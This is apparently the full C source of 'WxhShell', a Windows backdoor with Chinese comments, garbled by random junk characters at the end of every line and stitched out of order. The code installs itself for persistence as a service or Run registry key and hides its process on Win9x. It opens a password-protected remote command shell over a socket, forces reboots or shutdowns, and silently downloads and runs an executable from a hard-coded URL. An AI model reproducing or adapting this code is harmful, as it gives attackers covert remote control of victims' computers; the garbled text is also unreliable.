    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Sj_y*x1e  
    if(Boot(SHUTDOWN)) ;Jo*|pju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LDX y}hm)  
    else { ?N _)>&b  
    closesocket(wsh);  T{Hf P  
    ExitThread(0); Oga1u  
    } ,\>g  
    break; ua:9`+Dff  
    } m5qCq9Y  
  // 获取shell /j %_t  
  case 's': { d+1x*`U|  
    CmdShell(wsh); Ij,Yuo  
    closesocket(wsh); s((b"{fFb  
    ExitThread(0); $Q ffrU'  
    break; '\'7yN'  
  } >3$uu+p1F  
  // 退出 !Sfe{/$w  
  case 'x': { &<t79d%{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Tw%W0q  
    CloseIt(wsh); ](n69XX_  
    break; !ABLd|tP  
    } w3d\0ub  
  // 离开 j]Ua\|t  
  case 'q': { ]!-R<[b 6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f~iML5lG  
    closesocket(wsh); 1O4D+0@  
    WSACleanup(); Vy r] x  
    exit(1); w'XSb.\)_m  
    break; x{j+}'9  
        } ++gPv}:$X  
  } C\/b~HU  
  } m&ZJqsZIL  
R/rcXX7%  
  // 提示信息 9Q=>MOB-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T+<!k  
} 1sMV`qv>  
  } !,R  
8z0Hx  
  return; /t5g"n3  
} 9?!u2 o  
F*. /D~K  
// shell模块句柄 \CDAFu#  
int CmdShell(SOCKET sock) P 4H*jy@?  
{ `43vxcMg  
STARTUPINFO si; A` =]RJ  
ZeroMemory(&si,sizeof(si)); n }TTq6B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eoC<a"bJ>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o KlF5I  
PROCESS_INFORMATION ProcessInfo; Qw}xGlF,  
char cmdline[]="cmd"; ko>M&/^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pj j}K  
  return 0; "LXXs0  
} 7Z VVR*n|  
[(!Q-8  
// 自身启动模式 Zr5'TZ`$  
int StartFromService(void) O${r^6Hh  
{ EI<"DB   
typedef struct R:BBF9sK?  
{ KZi+j#7O  
  DWORD ExitStatus; H]U "+52h  
  DWORD PebBaseAddress; $=7H1 w  
  DWORD AffinityMask; j#CuR7m  
  DWORD BasePriority; s^obJl3  
  ULONG UniqueProcessId; I? A~zigO  
  ULONG InheritedFromUniqueProcessId; 7/ 4~>D&-b  
}   PROCESS_BASIC_INFORMATION; RlPjki"Mg  
^sJ1 ^LT  
PROCNTQSIP NtQueryInformationProcess; 2k%Bl+I  
+7`u9j.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l;XUh9RF`A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FU^Y{sbDg  
/Ql6]8.P  
  HANDLE             hProcess; VN?<[#ij  
  PROCESS_BASIC_INFORMATION pbi; $B*qNYpPy.  
HH+TjX/b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qb@BV&^y&  
  if(NULL == hInst ) return 0; d"z *Nb  
B6-AIPb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |WQD=J%~(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wnb)*pPP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < JGYr 4V  
H+nr5!`kz  
  if (!NtQueryInformationProcess) return 0; Z=0iPy,m>  
{|G&W^`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )x y9X0  
  if(!hProcess) return 0; ?exALv'B  
cPx66Dh&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M_yZR^;^-  
oC5gME"2  
  CloseHandle(hProcess); N45 s'rF  
OX'/?B((  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qdKh6{  
if(hProcess==NULL) return 0; [ e$]pN%  
XA=|]5C  
HMODULE hMod; mI2|0RWI)l  
char procName[255]; SB5@\^  
unsigned long cbNeeded; rHH#@ Zx  
rD_Ss.\^g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7$;c6_se  
JiG8jB7%}  
  CloseHandle(hProcess); c"6Kd$?M  
$XU-[OF%:9  
if(strstr(procName,"services")) return 1; // 以服务启动 "#[o?_GaJ  
lv*Wnn@k  
  return 0; // 注册表启动 }Ox2olUX  
} Z`e$~n(Bh  
AEBw#v!,o  
// 主模块 *9\oD~2Y  
int StartWxhshell(LPSTR lpCmdLine) #1gTpb+t  
{ 9 ?EY.}~  
  SOCKET wsl; LPtx|Sx![  
BOOL val=TRUE; +# m   
  int port=0; F[Qsv54  
  struct sockaddr_in door; C6Um6 X9/i  
ZS07_6.~  
  if(wscfg.ws_autoins) Install(); Rt*-#`I $  
eW<!^Aer  
port=atoi(lpCmdLine); E;ndw/GZjR  
(\5<GCW-  
if(port<=0) port=wscfg.ws_port; Lx|w~+k}  
5<0Yh#_  
  WSADATA data; / n C$?w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :/I={)5  
pP=_@ 3 D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _p3WE9T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cx,u2~43A&  
  door.sin_family = AF_INET; ,i1fv "  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 ayH:;  
  door.sin_port = htons(port); 3?-V>-[G_  
C={sE*&dYX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q{N lF$X  
closesocket(wsl); &@Ji+  
return 1; 'eTpcrS3  
} dA3`b*nC  
/jn:e"0~  
  if(listen(wsl,2) == INVALID_SOCKET) { J-HabHv  
closesocket(wsl); G5C#i7cpm  
return 1; oW` *FD  
} B)LXxdkOn  
  Wxhshell(wsl); 4kN:=g  
  WSACleanup(); = m!!  
'Y6(4|w (  
return 0; hNgcE,67q  
9 u6 g  
} Y D1g]p  
TU^tW  
// 以NT服务方式启动 QZeb+r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (]GY.(F{  
{ `qQQQ.K7)z  
DWORD   status = 0; +#2@G}j  
  DWORD   specificError = 0xfffffff; 5wVi{P5+  
_ ;v _L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [NR0] #h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WoN]eO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B%?|br  
  serviceStatus.dwWin32ExitCode     = 0; (rCPr,@0  
  serviceStatus.dwServiceSpecificExitCode = 0; pD)/- Dgdm  
  serviceStatus.dwCheckPoint       = 0; W"DxIy  
  serviceStatus.dwWaitHint       = 0; M\x7=*\  
`s]zk {x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P-*R N   
  if (hServiceStatusHandle==0) return; 6'X.[0M  
X]f#w  
status = GetLastError(); "1\RdTw  
  if (status!=NO_ERROR) /-cX(z 7  
{ A*?/F:E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u+"hr"}${  
    serviceStatus.dwCheckPoint       = 0; 8wNU2yH+D  
    serviceStatus.dwWaitHint       = 0; 3vEjf  
    serviceStatus.dwWin32ExitCode     = status; ~S~x@&yR  
    serviceStatus.dwServiceSpecificExitCode = specificError; ESXU, qK]v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ui:>eYv  
    return; }tg:DG  
  } kgib$t_7  
aF_ZV bS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y0Q/B|&[  
  serviceStatus.dwCheckPoint       = 0; xHR+((  
  serviceStatus.dwWaitHint       = 0; m/"=5*pA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &dHm!b  
} 'FvhzGn9Q  
1]zyME  
// 处理NT服务事件,比如:启动、停止 %d~9at6-B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L< nkI  
{ A+Pm "|  
switch(fdwControl) :7AauoI  
{ mqfEs0~I  
case SERVICE_CONTROL_STOP: D=Yag!1  
  serviceStatus.dwWin32ExitCode = 0; Y_TL4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "#"Fp&Z7  
  serviceStatus.dwCheckPoint   = 0; e&VR>VJEA  
  serviceStatus.dwWaitHint     = 0; ;gw!;!T  
  { c&iK+qvh{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4FP~+  
  } |'>E};D  
  return; _S7M5{U_  
case SERVICE_CONTROL_PAUSE: ` TVcI\W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EIl$"^-  
  break; >@92K]J  
case SERVICE_CONTROL_CONTINUE: w1/T>o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Tk\n  
  break; Yi! >8  
case SERVICE_CONTROL_INTERROGATE: z]4g`K+  
  break; s Gm(Aax*0  
}; 6d?2{_},  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z6 |'k:R8  
} qS`|=5f  
F(kRAe;  
// 标准应用程序主函数  26klW:2*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?tM].\  
{ 0jx~_zq-j  
fgz'C?  
// 获取操作系统版本 uvc{RP  
OsIsNt=GetOsVer(); <38@b ]+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7ump:|  
#j ~FA3O  
  // 从命令行安装 jH#^O ;A  
  if(strpbrk(lpCmdLine,"iI")) Install(); )*AA9   
m"> =QP  
  // 下载执行文件 7XI4=O};&%  
if(wscfg.ws_downexe) { 5@r Zm4U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $oBZe>s .  
  WinExec(wscfg.ws_filenam,SW_HIDE); as47eZ0\  
} #K~j9DuR  
XQoT},C  
if(!OsIsNt) { 1VM5W!}  
// 如果时win9x,隐藏进程并且设置为注册表启动 NCh(-E  
HideProc(); 2\8\D^   
StartWxhshell(lpCmdLine); oL/^[TXjH  
} WT? U~.U  
else rH_:7#.E  
  if(StartFromService()) Kgio}y  
  // 以服务方式启动 2n r UE  
  StartServiceCtrlDispatcher(DispatchTable); H_r'q9@<>  
else ZN]c>w[ )I  
  // 普通方式启动 >Ti2E+}[M  
  StartWxhshell(lpCmdLine); 0Y`tj  
Pj5#G0i%  
return 0; a/`Yh>ou  
} |ssIUJ  
hb\Y)HSp/  
(dprY1noC  
^XB8A=xi  
=========================================== Zkep7L   
:[rKSA]@  
x!Y@31!Dy  
@ tp7tB ;  
8`?j*FV7kq  
u! FSXX<  
" )h!l%72  
Yt<PKs#E  
#include <stdio.h> Y>m=cqR  
#include <string.h> 0mi[|~x=  
#include <windows.h> lTd2~_  
#include <winsock2.h> '{*>hj5.8  
#include <winsvc.h> P T.jR*  
#include <urlmon.h> s5 'nWMo  
5WN Z7cO  
#pragma comment (lib, "Ws2_32.lib") PKs%-Uk  
#pragma comment (lib, "urlmon.lib") e{+{,g{iu  
@BW8`Ky1  
#define MAX_USER   100 // 最大客户端连接数 qxr&_r  
#define BUF_SOCK   200 // sock buffer `ha:Gf  
#define KEY_BUFF   255 // 输入 buffer #\["y%;W  
^<Tp-,J$EN  
#define REBOOT     0   // 重启 G&H"8REm  
#define SHUTDOWN   1   // 关机 +B|X k[  
1iW9?=a"  
#define DEF_PORT   5000 // 监听端口 >Ga1p'8FtU  
9>>}-;$  
#define REG_LEN     16   // 注册表键长度 y5D?Bg|M  
#define SVC_LEN     80   // NT服务名长度 +E[)@;T  
odn`%ok  
// 从dll定义API qP'g}Pc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M\6v}kUY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A>2p/iMc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JU.%;e7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bb"4^EOZ,  
vfDb9QP  
// wxhshell配置信息 F}DD;K  
struct WSCFG { 4N0nU  
  int ws_port;         // 监听端口 <5}du9@  
  char ws_passstr[REG_LEN]; // 口令 u@'zvkb@  
  int ws_autoins;       // 安装标记, 1=yes 0=no A+DYIS  
  char ws_regname[REG_LEN]; // 注册表键名 -{%''(G  
  char ws_svcname[REG_LEN]; // 服务名 tP{$}cEY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 291|KG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jP'b! 4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PCfs6.*5Mf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X($SBUS6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zL}hFmh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1y;zPJ<ntm  
"A+F&C>  
}; 9iNns;^`q  
F ;&e5G  
// default Wxhshell configuration m3-J0D<  
struct WSCFG wscfg={DEF_PORT, T+D]bfjr&&  
    "xuhuanlingzhe", EQ $9IaY.  
    1, VrxH6Y  
    "Wxhshell", BAHx7x#(  
    "Wxhshell", y]9U FL"  
            "WxhShell Service", R  |%  
    "Wrsky Windows CmdShell Service", d vxEXy  
    "Please Input Your Password: ", wCmv/m  
  1, jtY~- @*  
  "http://www.wrsky.com/wxhshell.exe", PlUjjJU  
  "Wxhshell.exe" mkA|gM[g7  
    }; 7#3)&"j  
D:EF@il  
// 消息定义模块 V~Lq, oth  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sR .j~R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .&xNJdsY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! fc)  
char *msg_ws_ext="\n\rExit."; dhkpkt<G8  
char *msg_ws_end="\n\rQuit."; 4] 1a^@?  
char *msg_ws_boot="\n\rReboot..."; ii9/ UtIQ  
char *msg_ws_poff="\n\rShutdown..."; ,+9r/}K]/  
char *msg_ws_down="\n\rSave to ";  gV kI=J  
Fo~v.+^?  
char *msg_ws_err="\n\rErr!"; RkwY3 s"  
char *msg_ws_ok="\n\rOK!"; j56 An6g  
p]eD@3Wz  
char ExeFile[MAX_PATH]; V+z)B+  
int nUser = 0; AoeW<}MO  
HANDLE handles[MAX_USER]; &N0|tn  
int OsIsNt; v2sU$M  
a6P.Zf7  
SERVICE_STATUS       serviceStatus; R?s\0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W F<V2o{k  
KK$A 4`YoR  
// 函数声明 Ghc0{M<  
int Install(void); T%/w^27E  
int Uninstall(void); hM w`e  
int DownloadFile(char *sURL, SOCKET wsh); o+TZUMm  
int Boot(int flag); ,eCXT=6  
void HideProc(void); @D=`iG%  
int GetOsVer(void); 7d)' y  
int Wxhshell(SOCKET wsl); eUlb6{!y?  
void TalkWithClient(void *cs); W<o0Z OO  
int CmdShell(SOCKET sock); qH"a!  
int StartFromService(void); -+|[0hpw  
int StartWxhshell(LPSTR lpCmdLine); v1)6")8o+  
Bn q\Gg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yw!`1#3.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qV,j)b3M  
w-Fk&dC69  
// 数据结构和表定义 GR `ncI$z  
SERVICE_TABLE_ENTRY DispatchTable[] = 2z3A"HrlA  
{ f*Js= hvO  
{wscfg.ws_svcname, NTServiceMain}, _9r{W65s  
{NULL, NULL} ^j}sS!p  
}; 0+LloB  
t@M] ec  
// 自我安装 ; bE6Y]"Rz  
int Install(void) kELyD(^P`  
{ 1A-EP@# J  
  char svExeFile[MAX_PATH]; #jiqRhm  
  HKEY key; yTiqG5r  
  strcpy(svExeFile,ExeFile); g1 ,  
Uiw7Y\Im|  
// 如果是win9x系统,修改注册表设为自启动 :X*LlN  
if(!OsIsNt) { i{qURP}.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !3# }ZC2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); puF Z~WZ  
  RegCloseKey(key); ]{^vs'as\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3=7h+ZgB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); krc!BK`V  
  RegCloseKey(key); ^#se4qQ  
  return 0; -74T C  
    } >/bK?yT<  
  } *DzPkaYD>  
} 0EXNq*=EE  
else { y/eX(l<{  
Un{ln*AR\  
// 如果是NT以上系统,安装为系统服务 1s[-2^D+EM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'U$VO q?!  
if (schSCManager!=0) W=]",<  
{ caD;V(  
  SC_HANDLE schService = CreateService r0 C6Ww7u  
  ( ygt)7f5  
  schSCManager, >]8.xkQq  
  wscfg.ws_svcname, UROi.976D  
  wscfg.ws_svcdisp, q.{/{9  
  SERVICE_ALL_ACCESS, 'fFdqsXr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Q0-jS#d  
  SERVICE_AUTO_START, S'p`ECfVMA  
  SERVICE_ERROR_NORMAL, KBA%  
  svExeFile, @A'1D@f#  
  NULL, e/jM+%  
  NULL, rd4'y~#S  
  NULL, yt: V+qdv  
  NULL, =XlIe{  
  NULL SJ^?D8  
  ); iDc|9"|Tf3  
  if (schService!=0) <OSvRWP)  
  { 1[9j`~[([  
  CloseServiceHandle(schService); CT%m_lN  
  CloseServiceHandle(schSCManager); [:@?,?V\N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $IZZ`Z]B  
  strcat(svExeFile,wscfg.ws_svcname); 6 <S&~q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [;YBX] t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >I~z7 JS  
  RegCloseKey(key); ^QR'yt3e  
  return 0; ;o459L>sW  
    } w1(06A}/  
  } v} ;qMceJ  
  CloseServiceHandle(schSCManager); X$Vz  
} Go7hDmu  
} 5?0gC&WfN  
aZGDtzNG5h  
return 1; ,GP4I3D  
} f<p4Pkv  
<>Ddxmw  
// 自我卸载 `h5eej&s(  
int Uninstall(void) L#q9_-(#  
{ x`vs-Y:P  
  HKEY key; : ";D.{||  
! H=k7s  
if(!OsIsNt) { .|`=mx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >=:T ZU  
  RegDeleteValue(key,wscfg.ws_regname); QF/u^|f  
  RegCloseKey(key); f,inQ2f}d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'oQP:*Btl3  
  RegDeleteValue(key,wscfg.ws_regname); s Xk?.A_D  
  RegCloseKey(key); )pn7DIXG  
  return 0; ai  _fN  
  } k&iScMgCTH  
} 4{WV  
} U]U)'  
else { L^{;jgd&T9  
$_zkq@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m&0BbyE.z  
if (schSCManager!=0) G_N-}J>EP  
{ 1za'u_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,xD*^>!  
  if (schService!=0) x$ J.SbW  
  { jNG?2/P6&  
  if(DeleteService(schService)!=0) { 1(7.V-(G  
  CloseServiceHandle(schService); 'qF3,Rw  
  CloseServiceHandle(schSCManager); TKu68/\)  
  return 0; BRXb<M^;_  
  } KSB_%OI1  
  CloseServiceHandle(schService); }>X\"  
  } Q>a7Ps@~  
  CloseServiceHandle(schSCManager); /,N!g_"Z  
} >dvWa-rNUT  
} Bx : So6:  
(X_,*3Yxk  
return 1; .>64h H  
} &}6ES{Nr8  
M:UB>-`bW  
// 从指定url下载文件 Ld3Bi2d|  
int DownloadFile(char *sURL, SOCKET wsh) lH@E%  
{ }A)36  
  HRESULT hr; 0Q- Mxcj  
char seps[]= "/"; ENx@Ex  
char *token; f,HzrHax  
char *file; io r [v  
char myURL[MAX_PATH]; ?}3PJVy?  
char myFILE[MAX_PATH]; m{$tO;c/Q  
%3c|  
strcpy(myURL,sURL); H(G^O&ppdB  
  token=strtok(myURL,seps); ~d7Wjn$@  
  while(token!=NULL) {q tc \O  
  { <+-Yh_D  
    file=token; l^UJes!  
  token=strtok(NULL,seps); 7?!Z+r  
  } -Xxu/U})%  
[X">vaa  
GetCurrentDirectory(MAX_PATH,myFILE); )y/DGSd  
strcat(myFILE, "\\"); /q"d`!h)w  
strcat(myFILE, file); sE%<"h\_0  
  send(wsh,myFILE,strlen(myFILE),0); L740s[,`o#  
send(wsh,"...",3,0); 60aKT:KLC_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,8=`*  
  if(hr==S_OK) yw* mA1v  
return 0; Ng'ZAG;O  
else _L4<^Etfm  
return 1; 4%!{?[$  
X=p3KzzX  
} &J^4Y!gt  
^/DII`A  
// 系统电源模块 ,P@/=I5  
int Boot(int flag) $D/bU lFx  
{ TI[UX16Tz1  
  HANDLE hToken; 7moElh v  
  TOKEN_PRIVILEGES tkp; .qIy7_^  
6_%]\37_Z  
  if(OsIsNt) { si^4<$Nr%j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z`oaaO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Od!F: <  
    tkp.PrivilegeCount = 1; eN]>l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )zW%\s*'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n-hvh-ZO  
if(flag==REBOOT) { ]/o12pI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jny)uo8  
  return 0; Q$fRi[/L  
} P!FEh'.  
else { kBy rhK5U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #6N+5Yx_[  
  return 0; AvrL9D  
} y^d[( c  
  } KM/U?`6>:  
  else { [*9YIjn  
if(flag==REBOOT) { bCA2ik  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xb=2/\}|f  
  return 0; Tf#2"(!  
} U R1JbyT  
else { B.22 DuE#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0i5y(m&7  
  return 0; \]T=j#.S$  
} fou_/Nrue  
} 2&.n  
=sE2}/g  
return 1; . 0 s[{x  
} b46[fa   
hgweNRTh!  
// win9x进程隐藏模块 W,HH *!  
void HideProc(void) \K?(  
{ c Pq Dsl3  
80?6I%UB<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .:{h{@a  
  if ( hKernel != NULL ) r=~WMDCz@  
  { 4{;8:ax&w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %NT`C9][  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1p7cv~#95  
    FreeLibrary(hKernel); K\IYx|Hm a  
  } SZ5O89  
8_a$kJJ2  
return; AV:Xg4UJv  
} Uvjdx(fY[a  
%RQC9!  
// 获取操作系统版本 x">W u2  
int GetOsVer(void) eVw\v#gd  
{ [j)\v^m  
  OSVERSIONINFO winfo; .M9d*qp`S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }+9 1s'/c  
  GetVersionEx(&winfo); j+DE|Q&]I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3h9Sz8  
  return 1; ORGv)>C|  
  else w]>"'o{{  
  return 0; 8K \'Z  
} oA4D\rn8"  
`Yx-~y5X  
// 客户端句柄模块 A1T<  
int Wxhshell(SOCKET wsl) vKNt$]pm=  
{ q2x|%H RF  
  SOCKET wsh;  4%g6_KB  
  struct sockaddr_in client; P%zH>K  
  DWORD myID; )7&42>t  
{&2$[g=[ ^  
  while(nUser<MAX_USER) uY^v"cw/F  
{ Sa3I?+  
  int nSize=sizeof(client); B{7Kzwh;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1.# |QX  
  if(wsh==INVALID_SOCKET) return 1; "?apgx 6  
j5L)N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )Y3EQxXa  
if(handles[nUser]==0) ([:]T$0 #  
  closesocket(wsh); 9z5\*b s  
else +kjzn]} f  
  nUser++; ]g{hhP3>  
  } }JRP,YNh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ecr886  
Ua):y) A  
  return 0; _& 8O~8tW  
} s %eyW _  
FH)t:!#  
// 关闭 socket 3`8dii  
void CloseIt(SOCKET wsh) $o]r ]#B+  
{ exfm q  
closesocket(wsh); hf;S]8|F  
nUser--; U?gl"6x  
ExitThread(0); ]JOephX2R  
} <0CzB"Ap  
_|N}4a  
// 客户端请求句柄 k@#5$Ejc2  
void TalkWithClient(void *cs) gfi AK%  
{ c\At0.QCA  
kr%2w  
  SOCKET wsh=(SOCKET)cs; _ `H.h6h  
  char pwd[SVC_LEN]; bF*NWm$Lf  
  char cmd[KEY_BUFF]; vu=me?m?(  
char chr[1]; ).LTts7c  
int i,j; 8O>}k  
VZ$=6CavH  
  while (nUser < MAX_USER) { :M06 ;:e  
 >1A*MP4  
if(wscfg.ws_passstr) { g& k58{e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Frk cO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r!7Y'|  
  //ZeroMemory(pwd,KEY_BUFF); Z,K7Ot0  
      i=0; qD#VbvRc9+  
  while(i<SVC_LEN) { 0n.S,3|  
!YiuwFt  
  // 设置超时 vv6?V#{  
  fd_set FdRead; $$hv`HE^l  
  struct timeval TimeOut; 1"}cdq.  
  FD_ZERO(&FdRead); 4[TR0bM%  
  FD_SET(wsh,&FdRead); 1~J5uB4  
  TimeOut.tv_sec=8; yPV' pT)  
  TimeOut.tv_usec=0; c"7j3/p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w1r$='*I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BYi)j6"  
X eoJ$PfT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JQ@fuo %  
  pwd=chr[0]; - hzjV|  
  if(chr[0]==0xd || chr[0]==0xa) { 1S0pd-i  
  pwd=0; Y#FO5O%W  
  break; mf' ]O,  
  } X<]qU3k5  
  i++; B6] <G-  
    } ]u#JuX  
#D*r]M  
  // 如果是非法用户,关闭 socket {fV}gR2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 99=s4*xzM  
} 1zftrX~v!X  
y{d^?(-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z{R[Wx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM/i^zT  
PWB(5 f?  
while(1) { ZDx@^P y  
AW,OH SXh6  
  ZeroMemory(cmd,KEY_BUFF); TeQNFo^_8  
Bfr'Zdw  
      // 自动支持客户端 telnet标准   I]nHbghcW  
  j=0; % UZVb V  
  while(j<KEY_BUFF) { :q#K} /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zf[`~g  
  cmd[j]=chr[0]; ] asBd"  
  if(chr[0]==0xa || chr[0]==0xd) { &|Pu-A"5~  
  cmd[j]=0; B*1W`f  
  break; 6rN(_Oi-  
  } !@A#=(4R4  
  j++; Ucdj4[/,h  
    } %XTcP2pRJ  
RthT \%R  
  // 下载文件 ,#]t$mzbQ(  
  if(strstr(cmd,"http://")) { ~8T(>!hE1h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |=a}iU8  
  if(DownloadFile(cmd,wsh)) ;8{cA_&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sZ&G%o  
  else KvPX=/&Zu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SP]IUdE\  
  } p&-'|'![l  
